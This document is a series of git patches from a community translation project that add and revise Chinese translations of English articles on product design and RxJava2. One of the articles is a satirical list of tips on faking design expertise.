 This shouldn’t be provocative — it’s just a statement of fact. I work with[ dozens of startups](http://www.gv.com/portfolio/) every year, and I see it happen at every one. A CFO makes a pricing decision and changes the product experience. An engineer makes a performance trade-off. A salesperson writes a script for talking to customers. In my view, people who fundamentally change the customer’s experience are *designers*.
+这不应该是**挑衅**-这只是一个事实的陈述。我每年与几十家[创业公司](http://www.gv.com/portfolio/)合作，我看到每一家公司都会发生这种情况。首席财务官作出定价决定改变了产品体验。一个工程师做了性能权衡。销售人员写一个与客户交谈的脚本。在我看来，从根本上改变用户体验的人就可以叫做**设计师**。
 
 If this is so self-evident, why do Jared and I press the point? I keep beating the drum because I want designers to change the way they think about their role and become better stewards of good design.
+如果这是不言而喻的，那为什么 Jared 和我坚持这一点？我会持续宣传（此处翻译是否合适？），因为我希望设计师改变他们对自身角色的看法，并成为更好的设计师。
 
 For a moment, consider how this shift in perspective could change the way you work.
+现在，想想这种观点的改变将如何改变你的工作方式。
 
 #### Everyone needs a design mindset ####
+#### 每个人都需要设计思维 ####
 
 When you accept the reality that design decisions are coming from outside your group, by people without “design” in their job titles, you approach your co-workers differently . Now they’re not just your co-workers — they’re your design team.
+当你接受设计决策来自于你团队之外而且职位不是「设计」的人的现实时，你就会向你的其他同事靠拢。现在他们不仅是你的同事-他们还是你的设计团队。
 
 The companies that produce great design, such as Apple and Airbnb, have learned this. Alex Schleifer, VP of design at Airbnb,[ tells *Wired*](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/) how the company *isn’t* design-led:
+创造出顶尖设计的公司，像苹果（Apple）和爱彼迎（Airbnb），都已经意识到了这一点。 爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [告诉**《连线》杂志**](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)公司如何才能**不由**设计主导。
 
 > *The solution [at Airbnb] actually deemphasizes the designers. The point… isn’t to create a “design-led culture,” because that tends to tell anyone who isn’t a designer that their insights take a backseat. It puts the entire organization in the position of having to react to one privileged point of view. Instead, Schleifer wants more people to appreciate what typically lies only within the realm of designers — the user viewpoint.*
+> **爱彼迎（Airbnb）的解决方法实际上不强调设计师，这一点，不是要创造一个「设计主导的文化」，而是因为这往往会告诉任何一个不是设计师的人他们的洞察力是不重要的。它使整个组织能够对一个特别的观点作出反应。（此处该如何翻译？）相反，Schleifer 希望更多的人意识到用户视角通常只在设计师的领域。**（此处该如何翻译？）
 
 Does everyone need all the skills of a designer? Of course not. But each person needs to be armed with the tools to understand how their decisions affect the customer experience.
+每个人都需要掌握设计师的所有技能吗？当然不是。但是每个人都需要配备工具来理解他们的决定是如何影响用户体验的。
 
 When an engineer takes a shortcut and scrimps on performance, they need to understand how that damages the user experience. Likewise, when a designer pushes an engineer to make a change that affects performance, that engineer should help the designer make the best overall design decision — not just roll over and do what the designer asked. It’s this type of respectful collaboration that makes great design happen.
+当一个工程师在性能方面采用敏捷的途径时，他们需要理解这是如何损害用户体验的。同样，当设计师需要推动工程师做影响性能的改变时，这个工程师应该帮助设计师做出最好的整体设计决策，而不仅是否定设计师所需要的。正是这种尊重的合作创造出伟大的设计。
 
 One of the best ways to encourage empathy is to watch customer research studies with co-workers from across your company. When my colleague Michael Margolis runs a study with a GV company, we insist that the real team — not just the designers — watch those interviews and take notes. If it’s not possible for everyone to watch in real time, you can record the sessions and schedule a “viewing party” for later.
+激发共鸣的最好方式就是和来自公司的同事一起看用户调研。当我的同事 Michael Margolis 和 GV 公司一起进行研究时，我们坚持认为，真正的团队-不仅仅是设计师-需要看这些访谈并进行记录。如果不可能做到每个人都全部观看，你可以记录会话并在之后安排一个「观看聚会」。
 
 #### Work outside your design team ####
+#### 在设计团队之外工作 ####
 
 When you accept that design happens almost everywhere in your organization, you have to take responsibility for it. Your app is slow? Go sit with your engineering team. Your marketing team is poorly communicating your product to future customers? You’d better offer to work with them on the problem.
+当你接受设计这个行为发生在你的团队中几乎任何地方时，你必须承担责任。你的应用很慢？和你的工程团队坐在一起。你的营销团队很难将你的产品传达给未来的客户？你最好在这个问题上和他们一起工作。
 
 Yes, doing design with everyone at your company is a lot of work. But it’s necessary if you want to be a truly great designer — otherwise, you’re simply papering over bad decisions. For example, imagine that your CEO created a complex pricing structure for your product. You could focus on making the pricing page as clear as possible using your interface and information design skills. But the harder and more important design opportunity is to work with your CEO on repricing your product so it’s clear to customers and compatible with the business goals.
+是的，和你公司里的每个人一起做设计的工作量很大。但是，如果你想成为一名真正伟大的设计师，那么这是必要的。否则，你只是在做错误的决定。例如，假设你的 CEO 为你的产品创建了一个复杂的定价结构。你可以专注于使用您的界面和信息设计技巧使定价页面尽可能的清晰。但更难更重要的设计机会是与您的 CEO 一起重新定价你的产品，以便用户清楚，同时符合业务目标。
 
 Focusing on the core business is what differentiates real product design from interface design or even user experience design. Fundamental product design is really hard and requires a lot of legwork, but this is what designers at the highest level do — and it’s why their work is better than yours.
+关注核心业务是将是实际产品设计与界面设计甚至用户体验设计区分开来。基本的产品设计真的很难，需要大量的调研工作，但这就是最高级的设计师所做的-这就是为什么他们的工作比你的好。
 
 ![](https://cdn-images-1.medium.com/max/600/1*czW-2nrN_3l50ZzgYQYqlw@2x.png)
 
 “The Disciplines of UX Design” by Dan Saffer and Thomas Gläser
+Dan Saffer 和 ThomasGläser 的 「用户体验设计学科」
 
 #### Grow your design team to include non-designers ####
+#### 扩大您的设计团队，包括非设计师 ####
 
 Design is a hard job. You’ll need a wide range of skills (look at all of those circles in the[ diagram of UX Disciplines](https://www.fastcodesign.com/1671735/infographic-the-intricate-anatomy-of-ux-design)  by Dan Saffer) and years of practice to truly master design.
+设计是一项艰巨的任务，你将需要广泛的技能（请查看由 Dan Saffer（制作的）[UX 学科图](https://www.fastcodesign.com/1671735/infographic-the-intricate-anatomy-of-ux-design)中的所有圈子）和多年的实践才能真正掌握设计。
 
 Maybe that’s why so many designers are offended when non-designers do design work or get called “designers” by Jared and me. You can act offended if you want, but the reality is that other people are making design decisions with or without you. Embrace them . They don’t make your job less valuable. They don’t make your job title less meaningful.
+也许这就是为什么当不是设计师的人做设计工作或者被 Jared 和我称作「设计师」时，许多设计师感到生气。只要你愿意你可以表现的很生气，但事实是其他人不管有没有你都一直在做设计决策。拥抱他们吧，他们不会使你的工作变得不那么有价值，也不会使你的职位变得不那么有意义。
 
 Having more people who *do design* is additive, not competitive. These designers make your team and your product stronger, because they’re contributing from their unique perspectives. Help them bolster their skills, and use their expertise to the advantage of your product and company.
+对于更多的人来说**做设计**是附加的，并没有竞争力。这些设计是您的团队和您的产品更强大，因为他们从独特的角度做出贡献。帮助他们提高自己的技能，并利用自己的专长来优化您的产品和公司。
 
 ### **Let’s make a better future together** ###
+### **让我们一起创造更美好的未来吧** ###
 
 A few years ago, I met an executive from a Fortune 500 company. When I told her I’m a designer, her eyes lit up. “Oh, I love design!” she said. “My group is just down the hall from the design team. They do so much creative work in there.”
+几年前，我遇到一家财富 500 强公司的 CEO。当我告诉她我是设计师时，她的眼睛亮了起来。「哦，我喜欢设计！」她说，「我的团队就在设计团队的大厅里，他们在那里做了很多创造性的工作。」
 
 My heart sank. The design team was just down the hall from this executive, but they didn’t work together. Instead, they sat behind soundproof glass walls and did special “creative work” in isolation.
+我的心冷了下来。设计团队只是在这个行政大厅，但是他们没有一起工作。相反，他们坐在隔音玻璃后面，孤立地做「创造性工作」。
 
 This executive made decisions every day that affected her customers. She bears some of the blame for not reaching out to the designers “in there.” But the design team is primarily at fault — for missing an opportunity to reach out and work together on some of the business’s most important challenges.
-
+这个行政大厅每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但主要错在设计团队，因为错过了接触和在一些业务中最重要的挑战上共同工作的机会。
 
 Thanks to [Jared M. Spool](https://medium.com/@jmspool)  for writing an excellent article, [John Zeratsky](https://medium.com/@jazer)  and [Michael Margolis](https://medium.com/@mmargolis)  for editing and suggestions, and [Alex Schleifer](https://medium.com/@alexoid)  for the excellent *Wired* article.
 
+感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的**《连线》**文章（做的努力）。
+
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 99b6cb77b0b76856ff03bd59e941d3fa8d7a452f Mon Sep 17 00:00:00 2001
From: ylq167 <ylq950327@gmail.com>
Date: Fri, 28 Apr 2017 15:51:28 +0800
Subject: [PATCH 282/638] =?UTF-8?q?=E5=B0=8F=E7=9A=84=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/everyone-is-a-designer-get-over-it.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
index 3d731931f0d..d2b20d831b0 100644
--- a/TODO/everyone-is-a-designer-get-over-it.md
+++ b/TODO/everyone-is-a-designer-get-over-it.md
@@ -11,7 +11,7 @@ Photo by Alice Achterhof [via Unsplash](https://unsplash.com/search/designer-pai
 图片作者 Alice Achterhof [来自于 Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)
 
 # Everyone is a designer. Get over it. #
-# 人人都是设计师。忘了它吧。#
+# 人人都是设计师。结束它吧。#
 
 Recently, [Jared Spool](https://www.uie.com/about/) caught my attention with [an article](https://articles.uie.com/signup/)  about how Netflix’s performance engineers are *actually designers*. It’s a provocative idea, but it makes sense. His argument is that everyone in your organization (including performance engineers) designs the product, not just the people with “design” in their job titles.
 最近，[Jared Spool](https://www.uie.com/about/) 通过一篇关于 Netflix 的性能工程师竟然是**设计师**的[文章](https://articles.uie.com/signup/)吸引了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是职位为「设计」的人。

From 1acb4b09c28c14c639626fb139d2ef003890c8d4 Mon Sep 17 00:00:00 2001
From: Changkun Ou <hi@changkun.us>
Date: Fri, 28 Apr 2017 14:06:00 +0200
Subject: [PATCH 283/638] =?UTF-8?q?(add):=20=E5=A2=9E=E5=8A=A0=E7=BF=BB?=
 =?UTF-8?q?=E8=AF=91=E5=88=9D=E7=A8=BF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/how-to-pretend-youre-a-great-designer.md | 112 +++++++++---------
 1 file changed, 56 insertions(+), 56 deletions(-)

diff --git a/TODO/how-to-pretend-youre-a-great-designer.md b/TODO/how-to-pretend-youre-a-great-designer.md
index 251eb10769f..753892d29c9 100644
--- a/TODO/how-to-pretend-youre-a-great-designer.md
+++ b/TODO/how-to-pretend-youre-a-great-designer.md
@@ -1,138 +1,138 @@
 > * 原文地址：[How to pretend you’re a great designer](https://thedesignteam.io/how-to-pretend-youre-a-great-designer-3625de90d79f)
 > * 原文作者：[Pablo Stanley](https://thedesignteam.io/@pablostanley?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[Changkun Ou](https://changkun.us/)
 > * 校对者：
-# How to pretend you’re a great designer #
 
-## Practical tips and principles to trick people into thinking you’re an industry thought leader. ##
+# 设计师装逼指南 #
+
+## 假装成为行业思想领袖的经验和技巧 ##
 
 ![](https://cdn-images-1.medium.com/max/1000/1*8ted6GIeOq2hxnr9cxwtMw.gif)
 
-Gabrielle will use delight until your pupils explode
+> Gabrielle 将使用『喜悦』来解释全部的设计，直到你的瞳孔爆炸。
 
-### **Distract with delight** ###
+### **使用『喜悦』来分散注意力** ###
 
-Don’t know how to justify your excessive use of animations, clever copy, or generic *cute* illustrations? Just throw the word “delight” in the mix! Talk about how you understand the user’s psychology–how you’re creating an experience people will love. Who cares if your solution is not functional, expensive to build, or if there’s no data to back up your intuition. Remind everyone that you’re building a lasting and emotional connection with the user.
+不知道如何解释你的过度使用动画、巧妙的抄袭，或者通用*可爱*的图案吗？只需要说它们通常伴随着『喜悦』就够了！谈谈你是如何理解用户的心理的 —— 如何打造一个人们会喜欢的体验。没有人关心你的方案是否功能健全、是否成本高昂，或者是否有数据支撑你的直觉。提醒所有人，你正在与用户建立持久的感情联系。
 
-***PRO TIP:*** *Show everyone a graph of Maslow’s Hierarchy of Needs and point out how the warm-and-fuzzy stuff is on the top.*
+***装逼技巧:*** *向所有人展示 Maslow 的需求层次理论图，并指出最上层的『自我实现』是多么高层次的追求。*
 
 
 ![](https://cdn-images-1.medium.com/max/1000/1*U0hzgnxBdy6UWp-9mJsIOQ.gif)
 
-Toby is a walking jargon-encyclopedia.
-
-### Confuse them using industry language ###
+Toby 是一本活脱脱的百科全书.
 
-Never mind that part of your job is making things easy to understand. Use phrases like *“A holistic approach”* or *“brand storytelling”* or other jargon that will keep people scratching their heads, afraid to ask what that even means. The more buzzwords you use, the less you have to explain your actual design thinking.
+### 使用行业术语来迷惑他们 ###
 
-If a stakeholder asks about your reasoning for a design, just say something like *“It’s social-minded, guided by our brand values, and built with personality to engage our users through empathy and emotional design”*, even when you’re just designing a coupon input box.
+不要在意你的工作是否让事情变得容易理解。使用短语像『*整体分析*』或『*品牌故事*』亦或其他让人即摸不着头脑也不敢问是什么意思的行业术语。你使用的流行语越多，你就越不需要解释你的实际设计思路。
 
+如果一个利益相关人士询问你的设计理由，只要告诉他们诸如『这种设计以社会为导向，以品牌价值为指导，围绕其特性所建立，从而通过共鸣和情感设计来吸引用户』之类的话就可以了，哪怕你只是在设计一个优惠券的输入框。
 
 ![](https://cdn-images-1.medium.com/max/1000/1*QsVGLGmSStDhlhNY_LKM9w.gif)
 
-Fran advises to be, above all, consistent!
+Fran 建议：首先，要保持一致！
 
-### Use Consistency as your ONLY guiding principle ###
+### 使用一致性作为你的唯一指导原则 ###
 
-Ignore context––consistency is more important! Your users might have become familiar with iOS, Android, or web patterns but those patterns go against your style guide. You have to be consistent, even if it means the user needs to learn new ways of doing things––they have to check out your unique and sophisticated drop-down menu.
+忽略情景 —— 一致性更重要！也许你的用户已经熟悉了 iOS、Android 或 Web 模式，但这些模式与你的设计风格是不一样的。你必须保持设计的一致，即便是需要增加用户学习成本 —— 但他们必须查看你独特且复杂的下拉菜单。
 
-If your PM asks for a design that is best suited for mobile, just say that you’re striving for consistency. And, can’t the developer just make everything responsive and stuff? Being consistent allows you to not think of different solutions for specific scenarios––you can just copy-paste from the kitchen sink and call it a day!
+如果你的产品经理想要一个最适合移动端的设计，只需要说你正在努力让所有平台的设计保持一致。开发者难道不能让所有元素都做到响应式吗？保持一致性可以让你不用考虑特定场景下的不同解决方案 —— 你只用从所有的东西里复制粘贴就算是完成一天的工作了！
 
 ![](https://cdn-images-1.medium.com/max/1000/1*hm7Fr-D0-u4Rav6Og-hmLA.gif)
 
-Paul understands aesthetics
+Paul 理解美学。
 
-### **Make aesthetics a priority over functionality** ###
+### **美学优于功能** ###
 
-Forget about solving the problem with a flow that actually works. Obviously, you just need to copy all those flashy, unpractical effects you saw on Dribbble and apply them to your design. Who cares if research shows that sole icons are inefficient and hard to memorize or that stock photos rarely add value? Stakeholders will be so wowed by all the bouncy animations, Apple-like white space, and left-aligned Swiss types that no one will question if it even works.
+忘记用实际有用的工作流程来解决问题。显然，你只需要复制所有在 Dribbble 上看到那些华而不实的效果，并将其运用到你的设计之中。没有人关心调查显示的单个图标效率很低且很难被记住，以及库存的图片根本没有价值这些结论。所有的利益相关者都会因为那些具有弹性动画、像苹果一样的大量留白，和左对齐的瑞士主义设计风格一样感到震惊，没有人会怀疑它能否奏效。
 
 ![](https://cdn-images-1.medium.com/max/1000/1*BVWmKNOrZ5uVQs9YU2Hw-Q.gif)
 
-Gabrielle uses her magic to turn other products’ solutions into her own!
+Gabrielle 用她的魔力将其他产品的解决方案变成了自己的！
 
-### **Learn (copy) from the best** ###
+### **学习（照搬）最佳实践** ###
 
-Don’t know how to solve a problem? Just replicate the solution from Amazon, Apple, or Facebook and apply your own style on top of it. When someone challenges you, just say *“that’s how Amazon does it”*. That will teach them to keep questions to themselves next time! If it worked for Amazon, it must work for you, right? Who cares if you’re not even a marketplace or e-commerce product.
+不知道如何解决问题？只需要复制亚马逊、苹果或者 Facebook 的解决方案，并运用自己的风格即可。当有人质疑你时，只要说 *『亚马逊就是这么干的』*。这将教会他们将问题保留到下一次再提问！如果它适用于亚马逊，它肯定适合你，对吧？因为根本没有人在乎你搞的是不是一个电商产品。
 
 ![](https://cdn-images-1.medium.com/max/1000/1*_rH6r2v-eKIY9doQOz86jw.gif)
 
-Claude knows how to make a pie chart!
+Claude 知道如何制作一个饼状图。
 
-### **Use research bias** ###
+### **使用调查偏差** ###
 
-Do you have to justify that design that you spent time on all week? Just create a beautiful graph with cherry-picked data from a survey or test you conducted. The bigger the numbers, the more you’ll impress people with your interpretation!
+你是否必须为你花了一整个星期时间搞出来的设计辩护？只需用你进行过的调查或测试中精心挑选的数据创建一个花哨的图表就可以了。数字越大，你的解释就会让人们的印象越深刻！
 
-If anyone asks to see your methods or sources or wants to see the raw data, just tell them you should take that conversation offline and avoid them for the rest of the month.
+假如有人要求查看你的方法或来源或想要查看原始数据，只需告诉他们你们的对话应该结束了，然后在这个月剩下的时间里躲避他们就好。
 
-***PRO TIP:*** *If you have the skills, make a spurious correlation slide that will have everyone nodding their heads. E.g. “The bounce rate of our landing page correlates with the downloads of Pokemon Go, therefore, we should add Augmented Reality to our page”.*
+***装逼技巧:*** *如果你有能力，做一个假的幻灯片，让大家接受你的结论。 比如，『我们的登录页的跳出率与 Pokemon Go 的下载量相关，因此我们应该将增强现实添加到我们的页面』。*
 
 ![](https://cdn-images-1.medium.com/max/1000/1*mgeKX-DlW-obHhFUGBB6xA.gif)
 
-Fran looks at her work in deep silence.
+Fran 在沉默中看着她的工作。
 
-### **Make people think you’re busy** ###
+### **让人们觉得你很忙** ###
 
-There’s nothing better than having a wall full of other people’s work to impress passers-by. Print screenshots of other products and call it “competitive analysis”. Add all your Pinterest pins from other talented designers and call it “inspiration”. Make collages of all the terrible iterations you explored and call it “ideation”. Go for quantity, not quality. It doesn’t matter if what’s pinned to the wall makes any sense or if there’s any actual substance. The important thing is to make people believe that you have a creative and busy mind.
+没有什么比满墙贴满他人的作品更能给路人留下深刻印象的了。打印其他产品的截屏，这叫『竞品分析』；把所有的 Pinterest 上有才华的设计都放上去，这叫『灵感来源』；把所有你探索过的糟糕的迭代过程做成拼图放在一起，这叫『想法形成』。始终追求数量，而不是质量。不管是有意义还是没意义的，钉上在墙后都是有意义的。重要的是要让人们相信你有一个有创造力且忙碌的头脑。
 
-***PRO TIP:*** *Stare at the wall for hours in silence. Your coworkers will think you’re really contemplative.*[*Draw eyes on your eyelids*](https://www.youtube.com/watch?v=U6qBnykH0DU) *and you can sleep while doing this.*
+***装逼技巧:*** *默默地盯着墙看几个小时，你的同事会认为你在沉思。如果你**[在你的眼皮上画上眼睛](https://www.youtube.com/watch?v=U6qBnykH0DU)，还能打会盹儿。*
 
 ![](https://cdn-images-1.medium.com/max/1000/1*gB-SyYrl3WXBYDW2Up7lWQ.gif)
 
-Petunia is becoming a great designer!
+Petunia 马上就要成为一个伟大的设计师了!
 
-### Use ambiguous visuals ###
+### **使用模棱两可的视觉表现** ###
 
-Everybody can draw a Venn Diagram, but can they do it with perfect equilateral triangles?
+大家都会画韦恩图，但他们能用完美的等边三角形来做吗？
 
-Impress your coworkers with a double ▲▲ or a triple▲▲▲ triangle diagram. It won’t only make everyone nod at your confusing concepts, but it will establish you as a creative mind that uses simplicity to explain complex ideas.
+你可以使用双重 ▲▲ 甚至三重 ▲▲▲ 三角形图来打动你的同事。这不仅会让每个人都同意你偷换的概念，还会让他们觉得你你具有创造性思维，并用简单的方式解释复杂的想法。
 
-***PRO TIP:*** *Always put the word “VALUE” in the overlapping area of the diagram!*
+***装逼技巧:*** *总是将『价值』写在图标相交的区域里！*
 
 ![](https://cdn-images-1.medium.com/max/1000/1*VImvvTlomv4aX8E_UbUlUQ.gif)
 
-Paul knows how to create a tailor-made product.
+Paul 知道如何创建一个量身定做的产品。
 
-### **Misinterpret Human-Centered Design** ###
+### **扭曲用户中心设计** ###
 
-You’re not a modern designer if you don’t use Human-Centered Design (HCD for pros). And when I say “use”, I actually mean “talk about it”. Lecture everyone about how they need to understand the needs and abilities of the users. How building empathy is crucial to creating meaningful products. Who cares if other things have been successfully designed in the past without this approach? Don’t bother if this process might not be the best for you. Never mind if tailoring a product to a certain demographic can alienate others. It doesn’t matter if sometimes it’s in the user’s best interest if you ignore their suggestions. Better to impress everyone with how deeply you *care* about the user.
+如果你不用『用户中心设计』（HCD），那么你不够现代。当我们谈论『用』时，我们实际在谈论『讨论它』而已。让每个人都知道他们需要如何理解用户的需求和能力。如何建立共鸣对创造有意义的产品至关重要。如果没有用户中心设计，谁还会在意其他事情是否已经成功地设计好了呢？不用在意这个方法是否适合你，更不用在意如果把产品定制为某种特定的人群是否会疏远他人。如果你忽略了他们的建议，这并不重要。用你是多么地『*关心*』用户来打动大家就可以了。
 
 ![](https://cdn-images-1.medium.com/max/1000/1*J0AFQkt36gUyNqjaFm3lIw.gif)
 
-Paul sure understands his main user.
+Paul 确实了解他的主要用户。
 
-### **Stay focused on your market, which is you** ###
+### **专注你的市场** ###
 
-Oh, crap. They actually believed you on the whole human-centered thing and now they want an accessible design? Don’t worry, just point out that making a site accessible can take a long time and money. Say that your target market has state-of-the-art computers and internet connection, and they’re all healthy millennials that never even see the doctor. How do you know? You’re one of them! You’re exactly like your users!
+好吧，他们信任你的那套『用户中心设计』了，现在他们想要一个无障碍设计怎么办？不要担心，你只需要指出，对网站进行无障碍需要花很长时间和很多钱。然后假设你的目标市场有着最先进的计算机和互联网连接，而且用户都是健康、甚至都没有见过医生的 00 后就可以了。你怎么知道的？因为你是他们中的一员！你自己就是用户！
 
-And, let’s be honest, accessible design could keep you away from all those marvelous scroll-jacking animations you added to your landing page.
+而且，老实说，无障碍设计可能让你永远没法在页面上添加的那些炫酷动画了。
 
-> Text labels? Ugly!
-> High contrast combinations? Awful!
-> Clear navigation? Despicable!
+> 文本标签？太丑了!
+> 高对比度组合？很糟糕！
+> 清晰的导航？毫无意义！
 
-Don’t concern yourself with reaching a bigger audience by making your design accessible, or with how it actually improves usability or makes your site SEO friendly. You need those parallax animations and that subtle low-contrast color palette that works only on a thunderbolt display.
+不用担心那些为了能获得更多受众而进行的无障碍设计、可用性提升，或者是让网站变得 SEO 友好。你只需要使用视差滚动效果和一台具有精细的低对比度调色板的雷电接口的显示器就足够了。
 
-### On a serious note ###
+### 严肃的说 ###
 
-While all of these “tips” are meant to be tongue-in-cheek, they illustrate sins I myself have committed in the past. And I could say that it’s just a byproduct of how we’re all figuring stuff out as we go. That we’re experimenting with different things, seeing what works and what doesn’t–adapting to the ever-changing user’s needs and technology. And all would be understandable on the surface, but deep down, I have to admit… I sometimes don’t know if what I’m doing is right.
+而上面所有这些『技巧』都是不靠谱的，它们其实展示了我自己曾经犯过的错误。可以这么说，这些只是我们所做的一切事情的副作用。我们正在不断尝试不同的事物，看看什么是有效的、什么是不适应不断变化的用户的需求和技术。从表面上看，一切都是可以理解的，但我必须承认，我有时不知道我所做的事情是否正确。
 
-Do you ever feel like that? Fear of the moment when everyone realizes you’re some kind of fraud? That you’re in the process of faking-it-till-you-make-it? I recently learned they call it the “Impostor Syndrome”. I had never felt this as strongly as when I moved to San Francisco. As soon as I started working at a startup, I realized there was a lot I needed to learn. I found myself feeling insecure and lost–utilizing my charm to get other people’s approval. I didn’t think my design work was enough.
+不知道你是否有这样的感觉：当所有人都意识到你是一个骗子的时候，你是否会感到害怕吗？你是否曾今假装自己能做到？我最近听说这叫『骗子综合症』。我从来没有像搬到旧金山之后感受如此强烈。当我开始在一家创业公司工作时，我发现我需要学习很多东西。我感到不安，且失去了利用我的个人魅力来获得别人认可的能力。所以我觉得我的设计工作还做得不够好。
 
-But anyway, I believe it’s getting better. Or at least I’ve gotten better at pretending.
+无论如何，我相信情况正在好转。或者至少我已经变得更加善于伪装了。
 
-**The Design Team**
+**设计团队**
 
-New comic every other Taco Tuesday at[thedesignteam.io](http://thedesignteam.io)
-[Subscribe](http://eepurl.com/cbWwtz) to get my spam.I’m [Pablo Stanley](https://twitter.com/pablostanley) . Among many things, I teach [courses on design](https://www.youtube.com/c/sketchtogethertv) , and I work on a healthcare startup called [Carbon Health](https://carbonhealth.com/).
+- [thedesignteam.io](http://thedesignteam.io) 上的漫画每周二更新。
+- 我是 [Pablo Stanley](https://twitter.com/pablostanley) 。点击 [订阅](http://eepurl.com/cbWwtz) 可以收到我的『垃圾邮件』。我教授一门 [设计课程](https://www.youtube.com/c/sketchtogethertv)，同时我还在一家名为 [Carbon Health](https://carbonhealth.com/) 的医疗保健创业公司工作。
 
-Thanks to [Courtney M. Sawyer](https://medium.com/@courtneymsawyer) , [Michael Lorton](https://medium.com/@michaellorton) , [Edgar chaparro](https://medium.com/@Echaparro), and [Frances Tung](https://medium.com/@francestung) for all their support.
+- 感谢 [Courtney M. Sawyer](https://medium.com/@courtneymsawyer) , [Michael Lorton](https://medium.com/@michaellorton) , [Edgar chaparro](https://medium.com/@Echaparro), 和 [Frances Tung](https://medium.com/@francestung) 的全部支持。
 
 > [Read Previous: The Design Process](https://thedesignteam.io/the-design-process-67df3e8ec68f#.lv47slyvv) 
 > [Another cool one: From a Product Perspective](https://thedesignteam.io/from-a-product-perspective-2f5185a43827) 
 > [The First One: The Onboard-a-Buddy](https://medium.com/the-design-team/the-onboard-a-buddy-71169e460f04#.iru2t3tub) 
 
-Thanks to Edgar Chaparro, Michael Lorton, and Courtney Sawyer.
+- 感谢 Edgar Chaparro, Michael Lorton 以及 Courtney Sawyer.
 
 ---
 

From 38a0af3bca49e37e1afb8cacf7d8920d2ff24443 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Sat, 29 Apr 2017 00:04:59 +0800
Subject: [PATCH 284/638] =?UTF-8?q?2017.4.29=20=E6=A0=B9=E6=8D=AE=E6=A0=A1?=
 =?UTF-8?q?=E5=AF=B9=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...le-developer-android-rxjava2-hell-part5.md | 170 ++++++++++--------
 1 file changed, 97 insertions(+), 73 deletions(-)

diff --git a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
index 196ea5c7679..1c310ee6d4d 100644
--- a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
+++ b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
@@ -6,24 +6,24 @@
 
 ## Dialogue between Rx Observable and a Developer (Me)  [ Android RxJava2 ] ( What the hell is this ) Part5 ##
 
-## 我与被观察君的一段对话 [ Android RxJava2 ] ( 这是什么鬼？ ) Part5 ##
+## 开发者（ 也就是我 ）与Rx Observable 类 [ Android RxJava2 ] ( 这到底是什么？ ) 第五部分 ##
 
 
 WOW, we got one more day so its time to make this day awesome by learning something new 🙂.
 
-哇哦, 又是新的一天啦。是时候学习新姿势，让这一天碉堡了。
+又是新的一天，是时候学点新东来西来让今天变得酷炫了🙂。
 
 Hello guys, hope you are doing good. This is our fifth post in series of RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ]. In this part we are going to work with Rx Java Android. Our prerequisites are done. So we can start now.
 
-哥几个好啊，希望大家最近过的不错。这是我们一系列有关 RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ] 的第五篇文章。在这篇文章里，我们会与 Rx Java Android 一起研究学习。现在万事俱备，我们一起来吹个东风。
